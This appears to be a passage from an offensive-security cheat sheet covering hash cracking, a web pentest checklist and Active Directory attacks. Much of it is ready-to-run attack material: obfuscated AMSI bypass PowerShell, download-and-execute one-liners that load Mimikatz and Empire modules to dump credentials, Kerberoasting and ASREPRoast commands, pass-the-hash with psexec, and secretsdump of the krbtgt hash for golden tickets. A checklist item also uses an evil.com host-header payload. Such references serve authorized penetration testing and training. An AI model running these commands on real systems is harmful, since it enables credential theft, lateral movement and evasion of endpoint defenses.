python3 pydictor.py -chunk abc ABC 666 . _ @ "'"
# Dictionary based in word, added complexity 4 and fixed length
python pydictor.py -extend raj --level 4 --len 1 6
# Interactive mode
python3 pydictor.py --sedb
Options
-base dLc # Base digits, Lowercase letters and Capital letters
--encode b64 # Encode output
jtr
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash
Hashcat
Wiki
https://hashcat.net/wiki/doku.php?id=hashcat
Hashes
https://openwall.info/wiki/john/sample-hashes
https://hashcat.net/wiki/doku.php?id=example_hashes
Examples
# Dictionary
hashcat -m 0 -a 0 hashfile dictionary.txt -O --user -o result.txt
# Dictionary + rules
hashcat -m 0 -w 3 -a 0 hashfile dictionary.txt -O -r haku34K.rule --user -o result.txt
# Mask bruteforce (length 1-8 A-Z a-z 0-9)
hashcat -m 0 -w 3 -a 3 hashfile ?1?1?1?1?1?1?1?1 --increment -1 --user ?l?d?u
hashcat -m 0 -w 3 -a 3 hashfile suffix?1?1?1 -i -1 --user ?l?d
# Modes
-a 0 = Dictionary (also with rules)
-a 3 = Bruteforce with mask
# Max performance options
--force -O -w 3 --opencl-device-types 1,2
# Output results
-o result.txt
# Ignore usernames in hashfile
--user/--username
# Masks
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = «space»!"#$%&'()*+,-./:; >?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff
Useful hashes
Linux Hashes - /etc/shadow
ID | Description |
---|---|
500 | md5crypt $1$, MD5(Unix) |
200 | bcrypt $2*$, Blowfish(Unix) |
400 | sha256crypt $5$, SHA256(Unix) |
1800 | sha512crypt $6$, SHA512(Unix) |
Windows Hashes
ID | Description |
---|---|
3000 | LM |
1000 | NTLM |
Common Hashes
ID | Description | Type |
---|---|---|
900 | MD4 | Raw Hash |
0 | MD5 | Raw Hash |
5100 | Half MD5 | Raw Hash |
100 | SHA1 | Raw Hash |
10800 | SHA-384 | Raw Hash |
1400 | SHA-256 | Raw Hash |
1700 | SHA-512 | Raw Hash |
Common Files with password
ID | Description |
---|---|
11600 | 7-Zip |
12500 | RAR3-hp |
13000 | RAR5 |
13200 | AxCrypt |
13300 | AxCrypt in-memory SHA1 |
13600 | WinZip |
9700 | MS Office 2003 $0/$1, MD5 + RC4 |
9710 | MS Office 2003 $0/$1, MD5 + RC4, collider 1 |
9720 | MS Office 2003 $0/$1, MD5 + RC4, collider 2 |
9800 | MS Office 2003 $3/$4, SHA1 + RC4 |
9810 | MS Office 2003 $3, SHA1 + RC4, collider 1 |
9820 | MS Office 2003 $3, SHA1 + RC4, collider 2 |
9400 | MS Office 2007 |
9500 | MS Office 2010 |
9600 | MS Office 2013 |
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) |
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider 1 |
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider 2 |
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) |
10600 | PDF 1.7 Level 3 (Acrobat 9) |
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) |
16200 | Apple Secure Notes |
Database Hashes
ID | Description | Type | Example Hash |
---|---|---|---|
12 | PostgreSQL | Database Server | a6343a68d964ca596d9752250d54bb8a:postgres |
131 | MSSQL (2000) | Database Server | 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 |
132 | MSSQL (2005) | Database Server | 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe |
1731 | MSSQL (2012, 2014) | Database Server | 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 |
200 | MySQL323 | Database Server | 7196759210defdc0 |
300 | MySQL4.1/MySQL5 | Database Server | fcf7c1b8749cf99d88e5f34271d636178fb5d130 |
3100 | Oracle H: Type (Oracle 7+) | Database Server | 7A963A529D2E3229:3682427524 |
112 | Oracle S: Type (Oracle 11+) | Database Server | ac5f1e62d21fd0529428b84d42e8955b04966703:38445748184477378130 |
12300 | Oracle T: Type (Oracle 12+) | Database Server | 78281A9C0CF626BD05EFC4F41B515B61D6C4D95A250CD4A605CA0EF97168D670EBCB5673B6F5A2FB9CC4E0C0101E659C0C4E3B9B3BEDA846CD15508E88685A2334141655046766111066420254008225 |
8000 | Sybase ASE | Database Server | 0xc00778168388631428230545ed2c976790af96768afa0806fe6c0da3b28f3e132137eac56f9bad027ea2 |
Kerberos Hashes
ID | Type | Example |
---|---|---|
13100 | Type 23 | $krb5tgs$23$ |
19600 | Type 17 | $krb5tgs$17$ |
19700 | Type 18 | $krb5tgs$18$ |
18200 | ASREP Type 23 | $krb5asrep$23$ |
Files
https://github.com/kaonashi-passwords/Kaonashi
https://github.com/NotSoSecure/password_cracking_rules
https://crackstation.net/files/crackstation-human-only.txt.gz
https://crackstation.net/files/crackstation.txt.gz
VirtualBox
MacOS
# Tested in ElCapitan(10.11) to Catalina(10.15)
# Find and download your desired vmdk file
# Add your VM using existing disk
# Set Chipset ICH9
# Enable PAE/NX
# Video Memory 128 MB
# After created:
cd "C:\Program Files\Oracle\VirtualBox\"
VBoxManage.exe modifyvm "VM Name" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1
Code review
General
# Guidelines
https://rules.sonarsource.com/
# Resource
https://vladtoie.gitbook.io/secure-coding/
# Tools
https://www.sonarqube.org/downloads/
https://deepsource.io/signup/
https://github.com/pyupio/safety
https://github.com/returntocorp/semgrep
https://github.com/WhaleShark-Team/cobra
https://github.com/mhaskar/Bughound
# Find interesting strings
https://github.com/s0md3v/hardcodes
https://github.com/micha3lb3n/SourceWolf
https://libraries.io/pypi/detect-secrets
# Tips
1.Important functions first
2.Follow user input
3.Hardcoded secrets and credentials
4.Use of dangerous functions and outdated dependencies
5.Developer comments, hidden debug functionalities, configuration files, and the .git directory
6.Hidden paths, deprecated endpoints, and endpoints in development
7.Weak cryptography or hashing algorithms
8.Missing security checks on user input and regex strength
9.Missing cookie flags
10.Unexpected behavior, conditionals, unnecessarily complex and verbose functions
JavaScript
https://jshint.com/
https://github.com/jshint/jshint/
NodeJS
https://github.com/ajinabraham/nodejsscan
Electron
https://github.com/doyensec/electronegativity
https://github.com/doyensec/awesome-electronjs-hacking
Python
# bandit
https://github.com/PyCQA/bandit
# pyt
https://github.com/python-security/pyt
# atheris
https://github.com/google/atheris
# aura
https://github.com/SourceCode-AI/aura
.NET
# dnSpy
https://github.com/0xd4d/dnSpy
# .NET compilation
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs
# Cheatsheet
https://www.c-sharpcorner.com/UploadFile/ajyadav123/net-penetration-testing-cheat-sheet/
PHP
# phpvuln
https://github.com/ecriminal/phpvuln
C/C++
# flawfinder
https://github.com/david-a-wheeler/flawfinder
Java
# JD-Gui
https://github.com/java-decompiler/jd-gui
# Java compilation step-by-step
javac -source 1.8 -target 1.8 test.java
mkdir META-INF
echo "Main-Class: test" > META-INF/MANIFEST.MF
jar cmvf META-INF/MANIFEST.MF test.jar test.class
Task | Command |
---|---|
Execute Jar | java -jar [jar] |
Unzip Jar | unzip -d [output directory] [jar] |
Create Jar | jar -cmf META-INF/MANIFEST.MF [output jar] * |
Base64 SHA256 | sha256sum [file] | cut -d' ' -f1 | xxd -r -p | base64 |
Remove Signing | rm META-INF/.SF META-INF/.RSA META-INF/*.DSA |
Delete from Jar | zip -d [jar] [file to remove] |
Decompile class | procyon -o . [path to class] |
Decompile Jar | procyon -jar [jar] -o [output directory] |
Compile class | javac [path to .java file] |
Pentesting Web checklist
Recon phase
- Large: a whole company with multiple domains
- Medium: a single domain
- Small: a single website
Large scope
- Get ASN for IP ranges (amass, asnlookup, metabigor, bgp)
- Review latest acquisitions
- Get relationships by registrants (viewdns)
- Go to medium scope for each domain
Medium scope
- Enumerate subdomains (amass or subfinder with all available API keys)
- Subdomain bruteforce (puredns with wordlist)
- Permute subdomains (gotator or ripgen with wordlist)
- Identify alive subdomains (httpx)
- Subdomain takeovers (nuclei-takeovers)
- Check for cloud assets (cloudenum)
- Shodan search
- Transfer zone
- Subdomains recursive search
- Take screenshots (gowitness, webscreenshot, aquatone)
Small scope
- Identify web server, technologies and database (httpx)
-
Try to locate
/robots.txt
,/crossdomain.xml
/clientaccesspolicy.xml
/sitemap.xml
and/.well-known/
- Review comments on source code (Burp Engagement Tools)
- Directory enumeration
- Web fuzzing (ffuf and wordlist)
- Find leaked ids, emails (pwndb)
- Identify WAF (whatwaf, wafw00f)
- Google dorking
- GitHub dorking/Github tools (githound, gitdorks_go)
- Get urls (gau , waybackurls, gospider)
- Check potential vulnerable urls (gf-patterns)
- Automatic XSS finder (dalfox)
- Locate admin and login panel
- Broken link hijacking (blc)
- Get all JS files (subjs, xnLinkFinder)
- JS hardcoded APIs and secrets (nuclei-tokens)
- JS analysis (subjs, JSA, xnLinkFinder, getjswords)
- Run automated scanner (nuclei)
- Test CORS (CORScanner, corsy)
Network
- Check ICMP packets allowed
- Check DMARC/SPF policies (spoofcheck)
- Open ports with Shodan
- Port scan to all ports
- Check UDP ports (udp-proto-scanner or nmap)
- Test SSL (testssl)
- If got creds, try password spraying for all the services discovered
Preparation
- Study site structure
- Make a list with all possible test cases
- Understand the business area and what their customer needs
- Get a list of every asset (all_subdomains.txt, live_subdomains.txt, waybackurls.txt, hidden_directories.txt, nmap_results.txt, GitHub_search.txt, altdns_subdomain.txt, vulnerable_links.txt, js_files.txt)
User management
Registration
- Duplicate registration (try with uppercase, +1@..., dots in name, etc)
- Overwrite existing user (existing user takeover)
- Username uniqueness
- Weak password policy (user=password, password=123456,111111,abcabc,qwerty12)
- Insufficient email verification process (also my%00email@mail.com for account tko)
- Weak registration implementation or allows disposable email addresses
- Fuzz after user creation to check if any folder have been overwritten or created with your profile name
- Add only spaces in password
- Long password (>200) leads to DoS
- Corrupt authentication and session defects: Sign up, don't verify, request change password, change, check if account is active.
- Try to re-register repeating same request with same password and different password too
- If JSON request, add comma “email”:“victim@mail.com”,”hacker@mail.com”,“token”:”xxxxxxxxxx”
- Lack of confirmation -> try to register with company email.
- Check OAuth with social media registration
- Check state parameter on social media registration
- Try to capture integration url leading integration takeover
- Check redirections in register page after login
- Rate limit on account creation
- XSS on name or email
Authentication
- Username enumeration
- Resilience to password guessing
- Account recovery function
- "Remember me" function
- Impersonation function
- Unsafe distribution of credentials
- Fail-open conditions
- Multi-stage mechanisms
- SQL Injections
- Auto-complete testing
- Lack of password confirmation on change email, password or 2FA (try change response)
- Weak login function over HTTP and HTTPS if both are available
- User account lockout mechanism on brute force attack
- Check for password wordlist (cewl and burp-goldenNuggets)
- Test 0auth login functionality for Open Redirection
- Test response tampering in SAML authentication
- In OTP check guessable codes and race conditions
- OTP, check response manipulation for bypass
- OTP, try bruteforce
- If JWT, check common flaws
- Browser cache weakness (eg Pragma, Expires, Max-age)
- After register, logout, clean cache, go to home page and paste your profile url in browser, check for "login?next=accounts/profile" for open redirect or XSS with "/login?next=javascript:alert(1);//"
- Try login with common credentials
Session
- Session handling
- Test tokens for meaning
- Test tokens for predictability
- Insecure transmission of tokens
- Disclosure of tokens in logs
- Mapping of tokens to sessions
- Session termination
- Session fixation
- Cross-site request forgery
- Cookie scope
- Decode Cookie (Base64, hex, URL etc.)
- Cookie expiration time
- Check HTTPOnly and Secure flags
- Use same cookie from a different effective IP address or system
- Access controls
- Effectiveness of controls using multiple accounts
- Insecure access control methods (request parameters, Referer header, etc)
- Check for concurrent login through different machine/IP
- Bypass AntiCSRF tokens
- Weak generated security questions
- Path traversal on cookies
- Reuse cookie after session closed
- Logout and click browser "go back" function (Alt + Left arrow)
- 2 instances open, 1st change or reset password, refresh 2nd instance
- With privileged user perform privileged actions, try to repeat with unprivileged user cookie.
Profile/Account details
- Find parameter with user id and try to tamper in order to get the details of other users
- Create a list of features that are pertaining to a user account only and try CSRF
- Change email id and update with any existing email id. Check if its getting validated on server or not.
- Check any new email confirmation link and what if user doesn't confirm.
- File upload: eicar, No Size Limit, File extension, Filter Bypass, burp extension, RCE
- CSV import/export: Command Injection, XSS, macro injection
- Check profile picture URL and find email id/user info or EXIF Geolocation Data
- Imagetragick in picture profile upload
- Metadata of all downloadable files (Geolocation, usernames)
- Account deletion option and try to reactivate with "Forgot password" feature
- Try bruteforce enumeration when change any user unique parameter.
- Check application request re-authentication for sensitive operations
- Try parameter pollution to add two values of same field
- Check different roles policy
Forgot/reset password
- Invalidate session on Logout and Password reset
- Uniqueness of forget password reset link/code
- Reset links expiration time
- Find user id or other sensitive fields in reset link and tamper them
- Request 2 reset passwords links and use the older
- Check if many requests have sequential tokens
- Use username@burp_collab.net and analyze the callback
- Host header injection for token leakage
- Add X-Forwarded-Host: evil.com to receive the reset link with evil.com
- Email crafting like victim@gmail.com@target.com
- IDOR in reset link
- Capture reset token and use with other email/userID
- No TLD in email parameter
- User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
- Long password (>200) leads to DoS
- No rate limit, capture request and send over 1000 times
- Check encryption in reset password token
- Token leak in referer header
- Append second email param and value
- Understand how token is generated (timestamp, username, birthdate,...)
- Response manipulation
Input handling
- Fuzz all request parameters (if got user, add headers to fuzzer)
- Identify all reflected data
- Reflected XSS
- HTTP header injection in GET & POST (X Forwarded Host)
- RCE via Referer Header
- SQL injection via User-Agent Header
- Arbitrary redirection
- Stored attacks
- OS command injection
- Path traversal, LFI and RFI
- Script injection
- File inclusion
- SMTP injection
- Native software flaws (buffer overflow, integer bugs, format strings)
- SOAP injection
- LDAP injection
- SSI Injection
- XPath injection
- XXE in any request, change content-type to text/xml
- Stored XSS
- SQL injection with ' and '--+-
- NoSQL injection
- HTTP Request Smuggling
- Open redirect
- Code Injection (<h1>six2dez</h1> on stored param)
- SSRF in previously discovered open ports
- xmlrpc.php DOS and user enumeration
- HTTP dangerous methods OPTIONS PUT DELETE
- Try to discover hidden parameters (arjun or parameth)
- Insecure deserialization
Error handling
- Access custom pages like /whatever_fake.php (.aspx,.html,.etc)
- Add multiple parameters in GET and POST request using different values
- Add "[]", "]]", and "[[" in cookie values and parameter values to create errors
- Generate error by giving input as "/~randomthing/%s" at the end of URL
- Use Burp Intruder "Fuzzing Full" List in input to generate error codes
- Try different HTTP Verbs like PATCH, DEBUG or wrong like FAKE
Application Logic
- Identify the logic attack surface
- Test transmission of data via the client
- Test for reliance on client-side input validation
- Thick-client components (Java, ActiveX, Flash)
- Multi-stage processes for logic flaws
- Handling of incomplete input
- Trust boundaries
- Transaction logic
- Implemented CAPTCHA in email forms to avoid flooding
- Tamper product id, price or quantity value in any action (add, modify, delete, place, pay...)
- Tamper gift or discount codes
- Reuse gift codes
- Try parameter pollution to use gift code two times in same request
- Try stored XSS in non-limited fields like address
- Check in payment form if CVV and card number is in clear text or masked
- Check if is processed by the app itself or sent to 3rd parts
- IDOR from other users details ticket/cart/shipment
- Check for test credit card number allowed like 4111 1111 1111 1111 (sample1 sample2)
- Check PRINT or PDF creation for IDOR
- Check unsubscribe button with user enumeration
- Parameter pollution on social media sharing links
- Change POST sensitive requests to GET
Other checks
Infrastructure
- Segregation in shared infrastructures
- Segregation between ASP-hosted applications
- Web server vulnerabilities
- Dangerous HTTP methods
- Proxy functionality
- Virtual hosting misconfiguration (VHostScan)
- Check for internal numeric IP's in request
- Check for external numeric IP's and resolve it
- Test cloud storage
- Check the existence of alternative channels (www.web.com vs m.web.com)
CAPTCHA
- Send old captcha value.
- Send old captcha value with old session ID.
- Request captcha absolute path like www.url.com/captcha/1.png
- Remove captcha with any adblocker and request again
- Bypass with OCR tool (easy one)
- Change from POST to GET
- Remove captcha parameter
- Convert JSON request to normal
- Try header injections
Security Headers
- X-XSS-Protection
- Strict-Transport-Security
- Content-Security-Policy
- Public-Key-Pins
- X-Frame-Options
- X-Content-Type-Options
- Referer-Policy
- Cache-Control
- Expires
Internal Pentest
Scan
Host && Port Scanning
-n
flag to decrease time avoiding DNS resoltion.-f
fragment packets as FW evasion, if no FW/IDS, remove it.- Also check FW evasion
# Ping discovery, Top 20, fragment packets, no DNS resolution
sudo nmap -v --top-ports 20 X.X.X.0/24 -f -n --open -oA
# Ping discovery, Top 200, fragment packets, no DNS resolution, service version
sudo nmap -v --top-ports 200 X.X.X.0/24 -f -n -sV --open -oA
# Top 1000, fragment packets, no DNS resolution, service version, all alive (no ping)
sudo nmap -v --top-ports 1000 X.X.X.0/24 -f -n -sV -Pn --open -oA
Web detection
# httpx
cat ip.txt | httpx -silent -random-agent -status-code -timeout 15 -title -web-server -tech-detect -o httpx.txt
cat ip.txt | httpx -silent -ports <UNCOMMON.PORTS> -random-agent -status-code -timeout 15 -title -web-server -tech-detect -o httpx_uncommon.txt
Enum
Check AD section too
hint style="info" Must-read:
- wadcoms.github.io
- adsecurity.org
- casvancooten AD cheatsheet
- zer1t0 Attack AD
- integration-IT AD cheatsheet
endhint
AD no credentials
# Detect SMB on network
responder-RunFinger -i X.X.X.0/24
# Find DC
nslookup -q=srv _ldap._tcp.dc._msdcs.<domain.name>
nslookup -type=srv _ldap._tcp.<domain.name> | grep ldap | cut -d ' ' -f 6 | sed 's/\.$//g'
# Enumerate DC
ldapsearch -h <DC.IP> -x -s base namingcontexts
# Check for null session, if got users go for ASREPRoast with GetNPUsers
ldapsearch -h <DC.IP> -x -b "DC=XX,DC=XX"
# Get hashes with no krb preauth
GetNPUsers.py [Domain Name]/ -dc-ip [Domain Controller IP address] -request
GetNPUsers.py 'DC.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.10
# Get domain name
crackmapexec smb 10.10.10.10
smbmap -H 10.10.10.10 -u '' -p ''
# Get Users List
GetADUsers.py DC.local/ -dc-ip 10.10.10.10 -debug
# Get Users from ldap
windapsearch -U — full — dc-ip 10.10.10.10
# Get base domain
ldapsearch -x -h 10.10.10.175 -s base namingcontexts
# Get more info from DC
ldapsearch -x -h 10.10.10.10 -b ‘DC=DCNAME,DC=LOCAL’
AD with credentials
- Enum AD AIO
# https://github.com/CasperGN/ActiveDirectoryEnumeration
python3 -m ade --dc <domain.name> -u <user@domain.name> --help
# https://github.com/adrecon/ADRecon from Windows on Domain
- windapsearch
# https://github.com/ropnop/go-windapsearch
windapsearch -d <domain>.<name> -u <user> -p <password> --help
- ldap
# Domain users
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(&(objectClass=user)(objectCategory=person))" name sAMAccountName userPrincipalName memberOf primaryGroupID adminCount userAccountControl description servicePrincipalName objectSid pwdLastSet lastLogon -E pr=1000/noprompt | tee domain_users.txt
# Domain computers
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=computer)" name dNSHostname memberOf operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName description userAccountControl | tee domain_computers.txt
# Domain groups
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=group)" name sAMAccountName memberOf member description objectSid | tee domain_groups.txt
- rpcclient
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c dsr_enumtrustdom
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomains
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomusers
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomgroups
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c getdompwinfo
- cme
# Run commands
# PS
cme smb <IP> -u <USER> -p '<PASS>' -X 'Get-Host'
# CMD
cme smb <IP> -u <USER> -p '<PASS>' -x whoami
# PTH
cme smb <IP> -u <USER> -H <NTHASH> -x whoami
# Other methods
cme smb <IP> -u <USER> -p '<PASS>' --exec-method {mmcexec,smbexec,atexec,wmiexec}
# Dumps
# SAM
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sam
# LSASS
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --lsa
# Sessions
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sessions
# Logged users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --loggedon-users
# Disks
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --disks
# Users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --users #Enumerate users
# Groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --groups
# Local groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --local-groups
# Password policy
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --pass-pol
Attacks
LLMNR & NBT-NS Poisoning (Responder)
- Find a privileged user creds to reuse in other host
- Set to
Off
SMB and HTTP in/usr/share/responder/Responder.conf
responder -I ppp0 -A # Only listen
responder -I ppp0 -rv exec bash # Poison
- MultiRealy reuses hashes captured in specific host while responder is running
MultiRelay.py -t X.X.X.X -u ALL
Kerberos
# Kerberoasting (hashcat 13100)
GetUserSPNs.py -request -save -dc-ip <IP> domain/user # hashcat 13100
# BF
kerbrute.py -d <DC.LOCAL> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
# ASREPRoast (hashcat 18200)
GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# PTH/PTK
# Request ticket
getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
getTGT.py <domain_name>/<user_name>:[password]
# Set ticket
export KRB5CCNAME=<TGT_ccache_file>
# Use it
psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
psexec.py -hashes 'hash' -dc-ip 10.10.10.10 username@10.10.10.10
smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Dumps
# User hash
secretsdump.py '<DC.NAME>/<User>@<DC.IP>' -just-dc-user user1
# krbtgt hash dump -> Golden Ticket
secretsdump.py '<DC.NAME>/<User>@<DC.IP>' -just-dc-user krbtgt
AMSI Bypass
# Basic
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Obfuscation
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Other bypass
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
Common Exploits
- ZeroLogon
- EternalBlue: use auxiliary/scanner/smb/smb_ms17_010
- PrivExchange
- SMBGhost and SMBleed
PrivEsc
Local Privilege Escalation
# Juicy Potato - Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation
# Works only until Windows Server 2016 and Windows 10 until patch 1803
https://github.com/ohpe/juicy-potato
https://github.com/TsukiCTF/Lovely-Potato
# PrintSpoofer Exploit the PrinterBug for System Impersonation
# Works for Windows Server 2019 and Windows 10
https://github.com/itm4n/PrintSpoofer
# RoguePotato from Service Account to System
# Works for Windows Server 2019 and Windows 10
https://github.com/antonioCoco/RoguePotato
# Abusing Token Privileges
# https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
# SMBGhost CVE-2020–0796
https://github.com/danigargu/CVE-2020-0796
# CVE-2021–36934 (HiveNightmare/SeriousSAM)
https://github.com/cube0x0/CVE-2021-36934
Extra
Oneliners
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"
# Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose"
# PowerUp: Privilege escalation checks
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks”
# Invoke-Inveigh and log output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y"
# Invoke-Kerberoast and provide Hashcat compatible hashes
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat"
# Invoke-ShareFinder and print output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
# Import PowerView Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
# Invoke-Bloodhound
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
# Find GPP Passwords in SYSVOL
findstr /S cpassword $env:logonserver\sysvol*.xml findstr /S cpassword %logonserver%\sysvol*.xml (cmd.exe)
# Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]
runas /user:DOMAIN\USER /noprofile powershell.exe
# Insert reg key to enable Wdigest on newer versions of Windows (restart needed)
reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1
Native commands
# User Domain
$env:USERDNSDOMAIN
(Get-ADDomain).DNSRoot
# User Domain info
Get-ADUser Anakin
# Computer Domain
(Get-WmiObject Win32_ComputerSystem).Domain
# DNS, NetBIOSName, DomainSID
Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID
# Trusted domains
nltest /domain_trusts
# Forest info
Get-ADForest
# Interesting users
Get-ADUser -Filter * | select SamAccountName
# Computer accounts
Get-ADObject -LDAPFilter "objectClass=User" -Properties SamAccountName | select SamAccountName
# Trust accounts
Get-ADUser -LDAPFilter "(SamAccountName=*$)" | select SamAccountName
# Groups
Get-ADGroup -Filter * | select SamAccountName
# Interesting groups
Get-ADGroup "Domain Admins" -Properties members,memberof
# Get DC names
nltest /dclist:<domain.name>
# Get all users in the current domain
Get-NetUser | select -ExpandProperty cn
# Get all computers in the current domain
Get-NetComputer
# Get all domains in current forest
Get-NetForestDomain
# Get domain/forest trusts
Get-NetDomainTrust
Get-NetForestTrust
# Get information for the DA group
Get-NetGroup -GroupName "Domain Admins"
# Find members of the DA group
Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername
# Find interesting shares in the domain, ignore default shares
